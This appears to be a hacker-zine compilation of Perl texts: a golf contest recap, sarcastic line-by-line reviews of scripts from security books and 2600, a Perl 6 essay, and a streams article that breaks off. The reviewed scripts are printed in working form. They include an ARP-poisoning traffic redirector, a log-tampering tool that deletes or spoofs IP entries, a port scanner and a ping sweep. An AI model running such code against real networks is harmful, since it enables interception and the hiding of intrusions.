tournament each time. #!perl -pl y/i-z/-+/s;for$a(1..4e3){$a=~s#.#($n[$a].=4x$&%1859^7)=~y$IVCXL91-I0$X +LMCDXVIII$d;s/\b$n[$a]\b/$a/g#ge}$_=$n[eval] pijll is such a classy golfer that had you mentioned in passing, "Erm, (-ugene, why not try using a symbolic reference in this game?", I have no doubt that pijll would have been battling with ton and Juho for first prize a few hours later. 5. szeryf (115.52) szeryf is an experienced golfer, having competed in one tournament in the 2002 TPR season, finishing the season in 123rd place, with winnings of $56,000. In his only tournament in that season, he thrillingly came from behind to snatch the Beginner's trophy. Since then he has competed in a number of Polish golf tournaments. #!perl -pl @;=map{$a=0;($a.=4x$_%1859^7)=~y!IVCXL91-80!XLMCDXVIII!dfor/./g;$$a=$_ +;$a}s''$'>y/isl-{/-$+ /..3999;$_=$;[eval] 4. jojo (111.49) jojo is a mystery golfer. If anyone knows more about him/her, please let us know. jojo is an experienced golfer, having competed in 12 challenges at codegolf where he/she is currently in 15th place overall. #!perl -pl s|.|y;CLXVI624.-=;MDCLXXVI;dfor$$_.=5x$&*8%29628;$&|ge,$$$_=$_^Kfor-4e +3..o;s;\w+;${$&}|$&&'-';ge;$_=${+eval} 3. TedYoung (108.53) TedYoung is an experienced golfer, having competed in three tournaments in the 2002 TPR season (under the moniker Theodore Young), finishing the season in 82nd place, with winnings of $127,200. #!perl -lp y,iul-~,-$+,d,$_=eval,${$@}=1..!s/./y@IVCXL91-:0@XLMCDXVIII@dfor$@.=4x +$&%1859^7/egfor$...3999,u.$_;$_=$@ TedYoung was the surprise packet of the tournament. He has clearly moved to a higher golfing plane since 2002. 2. Juho Snellman (102.54) Juho Snellman is a brilliant golfer, having competed in six tournaments in the 2002 TPR season finishing the season in 6th place, with winnings of $1,264,000. #!perl -pl $_=${s!.!y$XLIVC246,-:$CDXLMVIX$dfor$$_.=8x$&*5%29628;$$$_=$_!gefor-4e +3..s''$'/y/isl-~/-$+/d;eval} Juho put in a really gutsy performance, gallantly leading the pack relentlessly pursuing ton during the last days. Indeed, only failing to unearth ton's little *_=eval "More fun with globs" trick prevented Juho from sharing first place in this competition. 1. ton (99.56) ton (aka thospel) is a legendary golfer, having competed in ten tournaments in the 2002 TPR season finishing the season in 1st place, with winnings of $4,384,000 ($4,384,350 now ;-). #!perl -pl s!.!y$IVCXL426(-:$XLMCDIVX$dfor$$_.=5x$&*8%29628;$$$_=$_!egfor-4e3..y/ +iul-}/-$+ /%s''$';*_=eval In addition to breaking the magic 100 barrier, ton managed to concoct the first known functional smiley in a golf winner's solution. (-: Since ton invented the magic formula in the first place, I feel he was a most worthy winner. Congratulations thospel! References USD $350 Cash First Prize for Perl Golf Competition Perl Golf Ethics TPR Golf Contests Original Polish Golf where Ton first used his magic formula Terje/mtv pdf book about Perl Golf perl golf mailing list archive Final TPR Career Money Leader List Golf competitions in Perl, Ruby, Python or PHP `/anick's BoG (Book of Golfers) The Lighter Side of Perl Culture (Part IV): Golf Acknowledgements: I'd like to thank cog for writing the Acme::AsciiArt2HtmlTable module, which was used to generate the little pictures above. I'd also like to thank Samy Kamkar of LA.pm for refereeing the Fonality tournament on his own. Update: I seem to have hit the size limit of a meditation, anyway the last bit got chopped off, so I had to remove the little orange picture of pijll to get it to fit. :-( Update: Added new "Tactical Tricks" section (thanks thospel) and expanded "Top Ten Countdown" section a bit. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 11384 2007-02-26 18:17 laugh/2600.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <Calvin> She'll never expect a snowball in JUNE! Boy, will she be mad! Ha ha ha! Wow, 2600 has taken a lot recently. First Zero For 0wned features their IRC network in their debut issue, and now we do their Perl. We were actually getting low on material, so we decided to sink to 2600. It didn't turn out very well as they didn't have any credibility BEFORE we got to them. As a friend of mine once put it: 18:36 <nick_removed> 2600 folk are the worst breed of hacker 18:37 <nick_removed> if you can even call them that 18:37 <nick_removed> maybe confused anti-establishment morons would be a better term So, on with the show! #!/usr/bin/perl -w # -w eh? What's next, $^W ? # use warnings; # # A simple program to open a TCP port. Useful for # testing SYN packet issues on state-like firewalls. # # http://www.assdingos.com/grass/ # # Shout outs: Cat5, Rijendaly Llama, chix0r, alx0r, # exial, stormdragon, lucid_fox, # Deathstroke, Harkonen, daverb and # eXoDuS (YNBABWARL!) # # Some code used from snacktime.pl # http://www.planb-security.net/wp/snacktime.html # (C) Tod Beardsley # # Copyright (C) Gr@ve_Rose # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # # Blah, blah, blah. # POD. Learn to love it. use warnings; # Hmmm... nice job on starting the interpreter with warnings enabled, and then enabling them again! use strict; use Getopt::Std; use IO::Socket::INET; # IPv6 Support - README # To get IPv6 support you will need to install two # additional Perl modules: Socket6 and IO-Socket-INET6 # First, download each package from CPAN: # Socket6 -> http://search.cpan.org/CPAN/authors/id/U/UM/UMEMOTO/Socket6-0.17.tar.gz # INET6 -> http://search.cpan.org/CPAN/authors/id/M/MO/MONDEJAR/IO-Socket-INET6-2.51.tar.gz # Once downloaded, uncompress each file and go into # the new directories. Run the command (as r00t): # perl ./Makefile.PL && make && make install # in each directory to install the modules. You need to # install Socket6 first. # Finally, uncomment the line below and enjoy. # That's all included in the IO::Socket::INET6 install docs, and there's no need for it here. use IO::Socket::INET6; # This wasn't commented. $| = 1 ; # Get rid of the buffer and dump to STDOUT my %options; getopts('m:t:p:s:x:',\%options) || usage(); # Are we asking for the man page? If so, stop here and go there. if ($options{m}) { man(); die; # You're already die()'ing in the man() subroutine, why die again? } # Do we have a Target IP? if (not $options{t}) { print "\r\n"; print " [*************ERROR**************]"; print "\n"; print " --==[You forgot the target IP Address]==--"; print "\n"; print " [*************ERROR**************]"; print "\r\n"; # Wow... Maybe try: print qq(...); ? Seriously, maybe you # should check out perlintro(1). usage(); die; # Again, we'll never get here. } # Do we have a Target Port? if (not $options{p}) { print "\r\n"; print " [**********ERROR***********]"; print "\n"; print " --==[You forgot the target Port]==-"; print "\n"; print " [**********ERROR***********]"; print "\r\n"; # You just don't get it, do you? usage(); die; } # Do we have a Local Source Port? if (not $options{s}) { print "\r\n"; print " [**********ERROR***********]"; print "\n"; print " --==[You forgot the source Port]==-"; print "\n"; print " [**********ERROR***********]"; print "\r\n"; # Please, somebody make it stop.... usage(); die; } # Default to IPv4 or if specified if (not $options{x} or $options{x} == "4") { my $socket = IO::Socket::INET -> new(PeerAddr => $options{t}, PeerPort => $options{p}, LocalPort => $options{s}, Proto => 'tcp'); # No error checking on the socket? # my $socket = IO::Socket::INET -> new (...) or die "Can't connect to ", $host, ":", $port, "\n"; my $gigo = "\r\n"; # A basic [ENTER] button to send if you want. # See the blurb below for usage of this variable # Go ahead and modify this for a specific protcol # like HELO (port 25), or an HTTP GET request. # If you would like to send a basic [ENTER] (Or whatever you've created) # to the socket once connected, replace: # print $socket # listed below with: # print $socket $gigo # More crazy comments printf "\r\nAttempting to connect... (IPv4)\r\n^C sends a FIN packet whenever you are ready to close the connection.\r\n \r\n"; # printf() now eh? Nice way to change your coding style midway through. # And why are you using "\r\n" ? Are you a Windows user or what? printf $socket || die "There was an error in the connection. Check the following:\r\n- Closed/filtered port?\r\n- If you are using the same source port, the TCP connection may not have ended. Send a FIN/RST or wait until your TCP End Timeout has been reached.\r\n \r\n"; # Great, an error message that will never be reached. You see, # IO::Socket::INET (and IO::Socket::INET6) will report that the # connection failed. Maybe if you had done proper error checking (like # was included above) you wouldn't have to have this long a pointless printf(). while (<$socket>) { print $_; } } # If IPv6 is explicitly defined in the command variable... if ($options{x} == "6") { # Who's up for some code reuse? my $socket = IO::Socket::INET6 -> new(PeerAddr => $options{t}, PeerPort => $options{p}, LocalPort => $options{s}, Proto => 'tcp'); my $gigo = "\r\n"; # See note above for $gigo usage... printf "\r\nAttempting to connect... (IPv6)\r\n^C sends a FIN packet whenever you are ready to close the connection.\r\n \r\n"; printf $socket || die "There was an error in the connection. Check the following:\r\n- Closed/filtered port?\r\n- If you are using the same source port, the TCP connection may not have ended. Send a FIN/RST or wait until your TCP End Timeout has been reached.\r\n \r\n"; while (<$socket>) { print $_; } } sub usage { # I like how you call die here, and then die again after calling the routine. # Hey, you do know how to use here-docs. Why not use them to print your silly errors? die <<EOH; Grave_Rose\'s Atomically Small SYN - A small SYN sending program Version 0.5 Usage: grass.pl -t [IP_to_connect_to] -p [DST_Port] -s [SRC_Port] (-x [4][6]) (-man) -t MUST be present (Who are you sending the packet to?) -p MUST be present (What port are you opening?) -s MUST be present (Why would you want a dynamic source port?) -x MAY be present - Use "-x 6" for IPv6 instead of IPv4 (Defaults to IPv4 if not present) -man - Shows the mini-man page for further information If you\'re seeing this message, you didn\'t get the memo. There is additional information in the source of this program so if you have any questions, look in the source before bugging me about anything. All you have to do, is open grass.pl in your favourite text editor and look at some of the comments. Grave_Rose EOH } sub man { # Same issue, you die here, and then you die again. die <<EOM; G.R.A.S.S. Mini-Man Page NAME grass.pl - A small Perl SYN program SYNOPSIS grass.pl -t [IP_to_connect_to] -p [DST_Port] -s [SRC_Port] (-x [4][6]) (-man) DESCRIPTION grass.pl is a program intended to assist in troubleshooting network related issues specifically with SYN and Source-Port troubles. You can use grass.pl to either act as a "door-jam" for a SYN connection by starting it first or use it once an established connection is already in place and you want to cause an effect from the same source port as the previous connection. OPTIONS -t Specifies the Target IP address. This value *MUST* be present and can be either IPv4 (Default) or IPv6 (See -x below). -p Specifies the Target Port. This value *MUST* be present. -s Specifies the Source Port. This value *MUST* be present. -x Select IPv4 (Default or -x4) or IPv6 (-x6). For IPv6 to work, you *MUST* have the Socket6 and IO::Socket::INET6 Perl Modules installed as well as a capable IPv6-enabled interface. RETURN VALUES If a successful TCP connection is made, the IO::Socket::INET(6) will return a GLOB from the connection. In the event the connection is unsuccessful, an error message will be printed. If one of the three *MUST* options are missing, an error message will be printed and will tell you which one you are missing. EXAMPLES Open port 80 on 10.11.12.13 from a source port of 31377: ./grass.pl -t 10.11.12.13 -p 80 -s 31337 Open port 110 on fec0:c0ff:ee01::1 from a source port of 5678: ./grass.pl -t fec0:c0ff:ee01::1 -p 110 -s 5678 -x 6 SECURITY NOTES As long as you have access to Perl, this program has the potential to be a complete SYN DoS program. It is *STRONGLY* suggested that you use this program with restraint as basic "while" looping can change the program from "Happy Troubleshooting Tool" to "Evil Script O' Death". Just as a hammer can be a tool or a weapon, I designed this to be a tool and not a weapon. If this program ends up DoS-ing your network, take action against the person who did this and not against me. BUGS Using the -m(an) switch... You can type anything after the letter "m" and you will get this mini-man page. Using -m by itself does nothing though. Yes, even: ./grass.pl -man am I drunk EOM } #!/usr/bin/perl # I swear to god, this actually made it into the zine. # 23:3 page 29. # No warnings? No lexical variables? # use strict; # use warnings; use IO::Socket::INET; my $port = 1; $file = "/home/retail/perl/ports.txt"; # Why do you declare $port with my, and then make $file a package variable? while($port < 10000){ # You've got to be kidding me... # See, in Perl, we have this nifty thing called a for() loop. # It's very useful in situations like this. # for my $port (1..10000) { # ... # } $sock = IO::Socket::INET -> new(PeerAddr => '172.21.101.11', PeerPort => $port, Proto => 'tcp', Timeout => '1'); #Because we really need to quote numbers. open(LIST, ">>$file"); # or die "open(): error: Can't open ", $file, "\n"; # Yea, that's right, lets open() $file 10000 times, when we could just # open it once, if we put this above the loop. if ($sock){ close($sock); # Ewww.... parens... print "$port -open\n"; # Quoting vars as well as integars now, are we? # print $port, " -open\n"; print LIST "$port -open\n"; $port = $port + 1; # .... Are you serious? Why not $port =+ 1; ? # Or $port++; ? # Or avoid that all together with the # for() loop mentioned previously. } else{ # I'm not even going to bother... print "$port -closed\n"; $port = $port + 1; } } close(LIST); # *sigh* # exit; #!/usr/bin/perl # I was considering not putting this in the zine; it reflects badly on us. # I also don't think this needs any comments. $subnet = 000; while($subnet <= 255){ system("ping -q -c 1 -w 1 172.21.$subnet.11"); $subnet = $subnet + 1; } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 897 2007-02-26 18:15 rant/saltmarsh.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Assuming a nonchalent air, I walked over to the plank down which workmen were dragging empty barrows. "Greetings, mates. Good luck to you." The response was utterly unexpected. The first workman, a sturdy grey-haired old man with trousers rolled to the knee and sleeves to the shoulder, exposing a sinewy bronzed body, did not hear me and walked past without paying me any notice. The second workman, a young chap with brown hair and grey eyes, threw me a hostile glance and made a face, throwing in a coarse oath for good measure. The third--evidently a Greek, for he was as brown as a beetle and had curly hair--expressed his regret that his hands were occupied and therefore he could not introduce his first to my nose. This was said in a tone of indifference inconsonant with the desire expressed. The fourth shouted at the top of his lungs: "Hullo, glass-eye!" and tried to give me a kick. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 3636 2007-02-26 18:14 school/perl6.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Why Perl 6 is taking so !@#$ long by dragonchild A lot of posts have been cropping up recently about Perl 6 and the common thread seems to be "It's taking soooooooo long!" I'd like to explain, as a sometime contributor, why I think the process is taking so bloody long. In no particular order ... There's two projects - the Perl 6 language and the Parrot VM. The more ambitious project, in terms of implementation, has always been Parrot. It's been almost 6 years since Dan started it and it will probably be another 2-3 years before I would build something on top of it. It's taking so long because you only get two of "Fast, Good, Cheap". Since anything associated with Perl has to be Good, it's a Fast-Cheap scale. There's about 10 developers, nearly all of which are volunteer, with another 20-30 testers. To me, that's high on the Cheap factor, which means that things are going to be very slow. You're more than welcome to help fix that. I'm sure that Parrot would be avaible in 6 months if all the developers were able to work on Parrot as their fulltime job. All you need to do is pay them. IMHO, all the developers are worth at least US$100/hr. But, that doesn't explain what's taking an average of 250 development hours/week for 9 years. (For the math-impaired, that's 7500 development hours/year, or 67_500 development hours total.) Well, here's a partial high-level list of the requirements on Parrot (in no particular order): Fast Reliable Runs on every OS known to man As parsimonious with RAM as possible Unicode aware Handles continutations and coroutines and treats functions as first-class data Is threaded Is garbage-collected I don't know about you, but that's a very tall order. In comparison, the Java VM (which started 15 years ago and had 13 fulltime development staff for several years) only achieved half of those requirements after 10 years of development and use. Perl 6 isn't about fixing Perl 5's problems. Well, it is, but not within the Perl 5 framework. The issue is that Perl 5 is too successful. P5 is over 10 years old, but Perl itself is not even 20. That should say something about how good Perl5 is. For something to replace that, it has to be seriously better. Like, radically better. Some of the features in Perl 6 I'm excited about (in no particular order): Lexical grammar changes Everything is an object, but only if I want to think of them that way This means code is an object that I can manipulate tie and overload both go away I can change both the syntax and semantics of the language within a lexical scope I have access to a real OO metamodel That's some serious power! Don't worry if you don't understand the words ... just bask in the knowledge that CP6AN is going to seriously rock. Yet, with all that power, P6 will still provide all the scripty-doo and one-liner power that you've come to expect from P5. In fact, you will still be able to write pure P5 code within P6. Name another language that's completely and 100% backwards compatible after a major version upgrade. Perl6 is exploring some uncharted territory in terms of programming theory. The P6l mailing list happens to be very near the forefront of OO metamodels, roles/traits/mixins, parsing theory ... the list goes on. It's not like all the theory has been laid out and P6l just has to cherrypick the features it wants to add. P6l is creating some of the theory as it goes along! If that doesn't give you the warm fuzzies, I don't know what will. In short, Perl 6 is taking so long because it has to. If it didn't, then it wouldn't be a worthy successor to Perl 5. You do want a worthy successor, don't you? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 5326 2007-02-26 18:12 laugh/foster_and_burnett.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <Calvin> By golly, no monsters are going to get US tonight! Wither and die, bloodsucking freaks of nature!! James C. Foster is one of the authours of the book Sockets, Shellcode, Porting and Coding: Reverse Engineering Exploits and Tool Coding for Security Professionals. With a title like that, the book sounded like it may be interesting. After flipping through the contents, and noticing a section that served as an intro to Perl, I was pretty psyched. After all, these guys put the word coding in thier title, so they must be good. I was shocked when I opened up to that section, and saw absolute trash in place of Perl. Then I remembered that these were "security professionals". The following appeared on pages 50 - 53 of Sockets, Shellcode, Porting and Coding: Reverse Engineering Exploits and Tool Coding for Security Professionals. #!/usr/bin/perl ## # No strict? # No warnings? ## #Logz version 1.0 #By: James C. Foster #Released by James C Foster & Mark Burnett at BlackHat Windows 2004 in Seattle #January 2004 ## # Lame authour info. ## use Getopt::Std; getops('d:t:rhs:l') || usage(); ## # Are you kidding me? # If this is a mark of what's to come, I should # have fun with this one... ## $logfile = $opt_l; ## # Because that's *really* needed. ## ######## if ($opt_h == 1) { usage(); } ## # BWAHAHAAHAHAHA. And these guys are "professionals". # Try this: usage() if $opt_h; # Clean, eh? ## ####### if ($opt_t ne "" && $opt_s eq "") { ## # Great if() there buddy. You're obviously a great Perl coder, and completly understand # the language. ## open (FILE, "$logfile"); ## # Hmm... you market yourself as a *security* professional, and # you don't know the secure way to open() a file in Perl? # Very dubious. # Also, great job with the random, un-needed, quotes. # On a sperate note, wouldn't it be better to open the logfile up at the top of # the script, and cut down on redundant code? ## while (<FILE>) { ## # Yes, he actually spaced it like this. ## $ranip=randomip(); s/$opt_t/$ranip/; push(@templog,$_); next; } close FILE; open (FILE2, ">$logfile") || die ("couldn't open.\n"); ## # Wheeee! Another bad call to open()! ## print FILE2"@templog"; ## # Yes, that was actually spaced like that. ## close FILE2; } ####### if ($opt_s ne "") { ## # This looks familiar... # Here's an idea, Mr. Whitehat genuis, why not open the file, run it through a while() loop, # and *then* check and see what arguments you were given, and do the needed actions. Makes sense, eh? # Cuts back on redundant code, and makes it look like you actually know something. ## open (FILE, "$logfile"); while (<FILE>) { s/$opt_t/$opt_s/; push(@templog,$_); next; } close FILE; open (FILE2, ">$logfile") || die("couldn't open"); print FILE2"@templog"; close FILE2; } ####### if ($opt_r ne "") { ## # Please, make it stop... ## open (FILE, "$logfile"); while (<FILE>) { $ranip=randomip(); s/((\d+)\.(\d+)\.(\d+)\.(\d+))/$ranip/; push(@templog,$_); next; } close FILE; open (FILE2, ">$logfile") || die("couldn't open"); print FILE2"@templog"; close FILE2; } ####### if ($opt_d ne "") { ## # I'm not even going to bother... ## open (FILE, "$logfile"); while (<FILE>) { if (/.*$opt_d.*/) { next; } push(@templog,$_); next; } close FILE; open (FILE2, ">$logfile") || die("couldn't open"); print FILE2"@templog"; close FILE2; } ####### sub usage { print "\nLogz v1.0 - Microsoft Windows Multi-purpose Log Modification Utility\n"; print "Developed by: James C. Foster for BlackHat Windows 2004\n"; print "Idea Generated and Presented by: James C. Foster and Makr Burnett\n\n"; print "Usage: $0 [-options *]\n\n"; print "\t-h\t\tHelp menu\n"; print "\t-d ipAddress\t: Delete Log Entries with the Corresponding IP address\n"; print "\t-r\t\t: Replace all IP addresses with Random IP addresses\n"; print "\t-t targetIP\t: Replace the Target Address (with random IP addresses if none is specified)\n"; print "\t-s spoofedIP\t: Use this IP Address to replace the Target Address (optional)\n"; print "\t-l logfile\t: Logfile You Wish to Manipulate\n\n"; print "\tExample: logz.pl -r -l IIS.log\n"; print "\t logz.pl -t 10.1.1.1 -s 20.2.3.219 -l myTestLog.txt\n"; print "\t logz.pl -d 192.10.9.14 IIS.log\n"; ## # Wow, you devoted more time to the usage() subroutine than you did to the actual body of the script! # Congrats! # You whitehats disgust me. Saying that The "Idea was Generated and Presented" by you. # Wow! What a brain wave! Let's use a scripting language with powerful built in string parsing # and manipulation features to make a log editor! Then we can market it!! Smells like $$$ !!! # Get a clue. And BTW, we have a little something called qq(). Jesus. # Make an effort to learn the language next time. ## } sub randomip { ## # Hmm, aren't some of these scalars considered special variables? ## $a = num(); $b = num(); $c = num(); $d = num(); $dot = '.'; $total = "$a$dot$b$dot$c$dot$d"; ## # ... HAHAHAHAHAHAHAH # I haven't laughed that hard since rave got owned in h0no3!! # my $total = $a . "." . $b . "." . $c . "." . $d; ## return $total; } sub num { ## # Because this *clearly* needed its own subroutine. ## $random = int( rand(230)) + 11; return $random; } This was pathetic. I hope someone owns you and drops your spools. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 3072 2007-02-26 18:12 laugh/jon_erickson.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <Hobbes> You know, there are times when it's a source of personal pride to not be human. Jon Erickson is the founder of Phiral laboratories, and the authour of the popular book, Hacking: The Art of Exploitation. He's published some impressive works, and clearly knows his kung-foo (so to speak). However, his Perl appears to be.... lacking. At best. The following appeared on pages 154 - 155 of Hacking: The Art of Exploitation. #!/usr/bin/perl ## # No lexical variables? # No warnings? ## $device = "eth0"; $SIG{INT} = \&cleanup; $flag = 1; $gw = shift; $targ = shift; ## # Hey you know shift! ## if (($gw . "." . $targ) !~ /^([0-9]{1,3}\.){7}[0-9]{1,3}$/) { # Perform input validation; if bad, exit. die("Usage arpredirect.pl <gateway> <target>\n"); } ## # Some nasty parens on die there. ## # Quickly ping each target to put the MAC addresses in cache print "Pinging $gw and $targ to retrieve MAC addresses...\n"; ## # Hey, look, its quoted scalars! ## system("ping -1 -c 1 -w 1 $gw > /dev/null"); system("ping -q -c 1 -w 1 $targ > /dev/null"); # Pull those addresses from the arp cache print "Retrieving MAC addresses from arp cache...\n"; ## # It's lines like these next ones that indicate to me that # you do indeed know Perl, and yet you somehow make elementry mistakes. ## $gw_mac = qx[/sbin/arp -na $gw]; $gw_mac = substr($gw_mac, index(gw_mac, ":")-2, 17); $targ_mac = qx[/sbin/arp -na $targ]; $targ_mac = substr($targ_mac, index($targ_mac, ":")-2, 17); # If they're both not there, exit. if($gw_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/) { die("MAC address of $gw not found.\n"); } ## # More parens! ## if($targ_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/) { die("MAC address of $targ not found.\n"); } # Get your IP and MAC print "Retrieving your IP and MAC info from ifconfig...\n"; @ifconf = split(" ", qx[/sbin/ifconfig $device]); $me = substr(@ifconf[6], 5); $me_mac = @ifconf[4]; print "[*] Gateway: $gw is at $gw_mac\n"; print "[*] Target: $targ is at $targ_mac\n"; print "[*] You: $me is at $me_mac.\n"; ## # Lose the quotes. ## while($flag) { # Continue poisoning until ctrl-C print "Redirecting: $gw -> $me_mac <- $targ"; system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H $me_mac -M $targ_mac"); system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H $me_mac -M $gw_mac"); sleep 10; ## # Essentially, you're doing while(1). The $flag scalar doesn't seem needed at all, # especially not with the signal handeler you setup. # And lose the quotes on those scalars! ## } sub cleanup { # Put things back to normal $flag = 0; ## # Definatly the best way to do that. ## print "Ctrl-C caught, exitting cleanly.\nPutting arp caches back to normal."; system("nemesis arp -r -d $device -S $gw -D $targ -h $gw_mac -m $targ_mac -H $gw_mac -M $targ_mac"); system("nemesis arp -r -d $device -S $targ -D $gw -h $targ_mac -m $gw_mac -H $targ_mac -M $gw_mac"); ## # Right in here you could put a die, and then completly get rid of that $flag nonsense # Great job, I can see you put alot of thought into that... ## } Frankly, I had higher expectations Jon. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 26922 2007-02-26 18:12 school/mjd.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Infinite lists in Perl Many of the objects we deal with in programming are at least conceptually infinite---the input from the Associated Press newswire, for example, or the log output from a web server, or the digits of pi. There's a general principle in programming that you should model things as simply and as straightforwardly as possible, so that if an object is infinite, you should model it as being infinite, with an infinite data structure. Of course, you can't have an infinite data structure, can you? After all, the computer only has a finite amount of memory. But that doesn't matter. We're all mortal, and so we, and our programs, wouldn't really know an infinite data structure if we saw one. All that's really necessary is to have a data structure that behaves *as if* it were infinite. A Unix pipe is a great example of such an object---think of a pipe that happens to be connected to the standard output of the `yes' program. From the man page: `yes' prints the command line arguments, separated by spaces and followed by a newline, forever until it is killed. The output of `yes' might not be infinite, but it's a credible imitation. So is the output of `tail -f /var/log/syslog'. In this article I'll demonstrate a Perl data structure, the `Stream', that behaves as if it were infinite. You can keep pulling data out of this data structure, and it might never run out. Streams can be filtered, just like Unix data streams can be filtered with `grep', and they can be transformed and merged, just like Unix streams. Programming with streams is a lot like programming with pipelines in the shell---you can construct a simple stream, then transform and filter it to get the stream you really want. This means that if you're used to programming with pipelines, programming with streams can feel very familiar. As an example of a problem that's easy to solve with streams, we'll look at: HAMMING'S PROBLEM Hamming wants an efficient algorithm that generates the list, in i j k ascending order, of all numbers of the form 2 3 5 for i,j,k at least 0. This list is called the /Hamming sequence/. The list begins like this: 1 2 3 4 5 6 8 9 10 12 15 16 18 ... Just for concreteness, let's say we want the first three thousand of these. This problem was popularized by Edsger Dijkstra. There's an obvious brute force technique: Take the first number you haven't checked yet, divide it by 2's, 3's and 5's until you can't do that any more, and if you're left with 1, then the number should go on the list; otherwise throw it away and try the next number. So: * Is 19 on the list? No, because it's not divisible by 2, 3, or 5. * Is 20 on the list? Yes, because after we divide it by 2, 2, and 5, we're left with 1. * Is 21 on the list? No, because after we divide it by 3, we're left with 7, which isn't divisible by 2, 3, or 5. This obvious technique has one problem: it's unbelievably slow. The problem is that most numbers aren't on the list, and you waste an immense amount of time discovering that. Although the numbers at the beginning of the list are pretty close together, the 2,999th number in the list is 278,628,139,008. Even if you had enough time to wait for the brute-force algorithm to check all the numbers up to 278,628,139,008, think how much longer you'd have to wait for it to finally find the 3,000 number in the sequence, which is 278,942,752,080. It can be surprisingly difficult to solve this problem efficiently with conventional programming techniques. But it turns out to be easy with the techniques in this article. Streams A stream is like the stream that comes out of a garden hose, except that instead of water coming out, data items come out, one after the other. The stream is like a source for data. Whenever you need another data item, you can pull one out of the stream, which will keep producing data on demand forever, or until it runs out. The key point is that unlike an array, which has all the data items stored away somewhere, the stream computes the data just as they're needed, at the moment your program asks for them, so that it never takes any more space or time than necessary. You can't have an array of all the odd integers, because it would have to be infinitely long and consume an infinite amount of memory. But you can have a stream of all the odd integers, and pull as many odd integers out of it as you need, because it only computes the odd numbers one at a time as you ask for them. We'll return to Hamming's problem a little later, when we've seen streams in more detail. Now, unlike a Perl list, a stream is more like a linked list, which means that it is made of `nodes'. Each node has two parts: The /head/, which contains a data item at the front of the stream, and the /tail/, which points to the next node in the stream. In Perl, we'll implement this as a hash with two members. If $node is such a hash, then $node{h} will be the head, and $node{t} will be the tail. The tail will usually be a reference to another such node. A stream will be a long linked list of these nodes, like this: head tail head tail head tail +-----+-----+ +-----+-----+ +-----+-----+ | | | | | | | | | | foo | *------->| 3 | *------->| bar | *------> . . . | | | | | | | | | +-----+-----+ +-----+-----+ +-----+-----+ The stream ('foo', 3, 'bar', ...). Now we still have the problem of how to have an infinite stream, because clearly we can't construct an infinite number of these nodes. But here's the secret: a stream node might not have a tail---the tail might not have been computed yet. If a stream doesn't have a tail, it has a /promise/ instead. The promise is a promise from the program to you. The program promises to compute the next node if you ever need the data item that would be in the head of the next node: ____________ +-----+-----+ +-----+-----+ +-----+-----+ / /\ | | | | | | | | | |I'll do it |/ | foo | *------->| 3 | *------->| bar | *------>|when and if| | | | | | | | | | |you need it| +-----+-----+ +-----+-----+ +-----+-----+ | | | Love, Perl| _|__________ | \___________\/ The stream ('foo', 3, 'bar', ...), no details obscured this time. How can we program a promise? Perl doesn't have promises, right? But it has something like them. Here's how to make a promise to compute an expression: $promise = sub { EXPRESSION }; Perl doesn't compute the value of the expression right away; instead it constructs an anonymous function which will compute the expression and return the value when we call the function: $value = &$promise; # Evaluate EXPRESSION That's just what we want. When we want to promise to compute something without computing it, we'll just wrap it up in an anonymous function, and then when we want to collect on the promise, we'll call the function. How can we tell when a value is a promise? In our simple examples, we'll just look to see if it's a reference to a function: if (ref $something eq CODE) { # It's a promise... } In a real project, we might do something a little more elaborate, like inventing a `Promise' package with Promise objects, but in this article, we'll just stick with plain vanilla CODE refs. Here's a simple function to construct a stream node. It expects two arguments, a head and a tail. The tail argument should either be another stream, or it should be a promise to compute one. It then takes the head and the tail, puts them into an anonymous hash with `h' and `t' members, and blesses the hash into the `Stream' package: package Stream; sub new { my ($package, $head, $tail) = @_; bless { h => $head, t => $tail } => $package; } The `head' method to return the head of a stream is easy to implement now. We just return the `h' member from the hash: sub head { $_[0]{h} } The `tail' method for returning the tail of a stream is a little more complicated because it has to deal with two possibilities: If the tail of the stream is another stream , `tail' can return it right away. But if the tail is a promise, then the `tail' function must collect on the promise and compute the real tail before it can return it. sub tail { my $tail = $_[0]{t}; if (ref $tail 